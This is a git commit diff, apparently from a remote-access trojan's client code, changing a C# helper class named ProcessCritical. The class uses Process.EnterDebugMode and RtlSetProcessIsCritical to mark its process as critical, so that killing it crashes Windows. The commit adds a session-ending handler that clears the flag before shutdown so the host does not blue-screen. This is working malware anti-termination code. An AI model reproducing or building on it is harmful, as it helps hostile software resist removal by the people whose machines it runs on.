Fixed BSOD when pc shutdown\restart
This commit is contained in:
parent
98274c6f1c
commit
fb9a8249d7
@ -1,4 +1,5 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
@ -6,11 +7,17 @@ using System.Threading;
|
|||||||
namespace Client.Helper
|
namespace Client.Helper
|
||||||
{
|
{
|
||||||
public static class ProcessCritical
|
public static class ProcessCritical
|
||||||
{
|
{
|
||||||
|
|
||||||
|
public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
|
||||||
|
{
|
||||||
|
Exit();
|
||||||
|
}
|
||||||
public static void Set()
|
public static void Set()
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
|
||||||
Process.EnterDebugMode();
|
Process.EnterDebugMode();
|
||||||
RtlSetProcessIsCritical(1, 0, 0);
|
RtlSetProcessIsCritical(1, 0, 0);
|
||||||
}
|
}
|
||||||
@ -22,9 +29,9 @@ namespace Client.Helper
|
|||||||
{
|
{
|
||||||
RtlSetProcessIsCritical(0, 0, 0);
|
RtlSetProcessIsCritical(0, 0, 0);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
while(true)
|
while (true)
|
||||||
{
|
{
|
||||||
Thread.Sleep(100000); //prevents a BSOD on exit failure
|
Thread.Sleep(100000); //prevents a BSOD on exit failure
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user